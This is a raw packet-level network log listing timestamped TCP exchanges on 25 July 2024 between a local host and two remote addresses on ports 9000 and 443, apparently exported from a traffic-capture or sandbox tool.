Jul 25, 2024 13:23:24.959172964 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.959182024 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.959194899 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.959207058 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.959216118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.959227085 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.959234953 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.959247112 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.959271908 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.959475040 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.965769053 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.965874910 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:25.985867977 CEST	49713	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:25.990717888 CEST	9000	49713	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:25.990806103 CEST	49713	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:26.991523981 CEST	49713	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:26.996547937 CEST	9000	49713	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:26.996727943 CEST	49713	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:27.011933088 CEST	49713	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:27.017668009 CEST	9000	49713	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:28.901293993 CEST	9000	49713	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:28.944612980 CEST	49713	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:29.068294048 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:29.068347931 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:29.068448067 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:29.070256948 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:29.070281029 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:31.243876934 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:31.243995905 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:31.244940042 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:31.245031118 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:31.247308016 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:31.247319937 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:31.247638941 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:31.288233995 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:31.294475079 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:31.336541891 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:31.948771954 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:31.948795080 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:31.948951960 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:31.948976994 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:31.948990107 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:31.949037075 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:31.949043989 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:31.950018883 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:31.950077057 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:31.950082064 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:31.950133085 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:31.950850010 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:31.951011896 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:32.041984081 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:32.042076111 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:32.521681070 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:32.521764994 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:32.521974087 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:32.522028923 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:32.522922039 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:32.522980928 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:32.523857117 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:32.523921967 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:32.561300039 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:32.561422110 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:32.562009096 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:32.562072039 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:32.562091112 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:32.562144041 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:32.562829018 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:32.562890053 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:32.563595057 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:32.563652992 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:32.564321995 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:32.564380884 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.099853039 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.099977016 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.120805025 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.120927095 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.141921043 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.141999960 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.193097115 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.193187952 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.205431938 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.205502033 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.247770071 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.247837067 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.268585920 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.268677950 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.293462038 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.293524027 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.641659021 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.641769886 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.650469065 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.650567055 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.685062885 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.685132980 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.701643944 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.701762915 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.734708071 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.734798908 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.750721931 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.750853062 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.766110897 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.766237974 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.795646906 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.795748949 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.810143948 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.810339928 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.838108063 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.838186026 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.852427959 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.852511883 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.865174055 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.865237951 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.892004967 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.892076969 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.905807972 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.905875921 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.933031082 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.933098078 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.949745893 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.949817896 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.976326942 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.976443052 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:33.988045931 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:33.988123894 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.000195980 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.000276089 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.027957916 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.028045893 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.041284084 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.041349888 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.067167997 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.067246914 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.081106901 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.081186056 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.100187063 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.100255013 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.122648954 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.122741938 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.141316891 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.141427040 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.169939995 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.170059919 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.176332951 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.176431894 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.188770056 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.188868046 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.216344118 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.216454983 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.229167938 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.229254007 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.255923986 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.256007910 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.269366026 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.269500971 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.296627998 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.296736002 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.311646938 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.311712980 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.311728001 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.311758041 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.311798096 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.312115908 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.312138081 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.312154055 CEST	49715	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.312159061 CEST	443	49715	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.360310078 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.360358000 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:34.360425949 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.360781908 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:34.360797882 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:36.618027925 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:36.618257999 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:36.619540930 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:36.619601011 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:36.621272087 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:36.621289968 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:36.621707916 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:36.630393028 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:36.676502943 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:37.299529076 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:37.299546003 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:37.299611092 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:37.299633026 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:37.299701929 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:37.299858093 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:37.299909115 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:37.300828934 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:37.300890923 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:37.857135057 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:37.857201099 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:37.857260942 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:37.857316017 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:37.858198881 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:37.858252048 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:37.859101057 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:37.859158993 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:37.860059023 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:37.860119104 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:37.860976934 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:37.861043930 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:37.861376047 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:37.861429930 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.404660940 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.404720068 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.404761076 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.404783964 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.404805899 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.404828072 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.405002117 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.405067921 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.405134916 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.405189037 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.405946016 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.406012058 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.406018019 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.406086922 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.406186104 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.407002926 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.407071114 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.407964945 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.408015966 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.408054113 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.408066034 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.408077002 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.408894062 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.408951998 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.408958912 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.408977985 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.409008026 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.409013987 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.409032106 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.460175991 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.493315935 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.493325949 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.493415117 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.493493080 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.493506908 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.493530989 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.493541956 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.493551016 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.493556023 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.493598938 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.986287117 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.986352921 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.986402035 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.986476898 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.986476898 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.986501932 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.986519098 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.986567020 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.986594915 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.986602068 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.986638069 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.987098932 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.987646103 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.987653017 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.987903118 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.987924099 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.988064051 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.988154888 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.988194942 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.988229036 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.988238096 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.988238096 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.988245010 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.988292933 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.988292933 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.988782883 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.988830090 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.988843918 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.988856077 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.988876104 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.988884926 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.988904953 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.988909960 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.988919020 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.988926888 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.989010096 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.989017010 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.989367008 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.989420891 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.989535093 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.990567923 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.990837097 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.990953922 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.990993977 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.991013050 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.991018057 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.991044998 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.991076946 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:38.991130114 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.991130114 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:38.991137028 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.038341999 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.076627970 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.076716900 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.076735973 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.076745987 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.076786995 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.076786995 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.076929092 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.076972961 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.076989889 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.076994896 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.077017069 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.077029943 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.077060938 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.077125072 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.077199936 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.077430010 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.077431917 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.077440023 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.077483892 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.077528000 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.077528954 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.077536106 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.077752113 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.077799082 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.079772949 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.522706032 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.522761106 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.522793055 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.522913933 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.522934914 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.523000002 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.523063898 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.523072004 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.523113966 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:39.523288012 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.523329020 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.523363113 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:39.523374081 CEST	49719	443	192.168.2.6	39.97.203.118
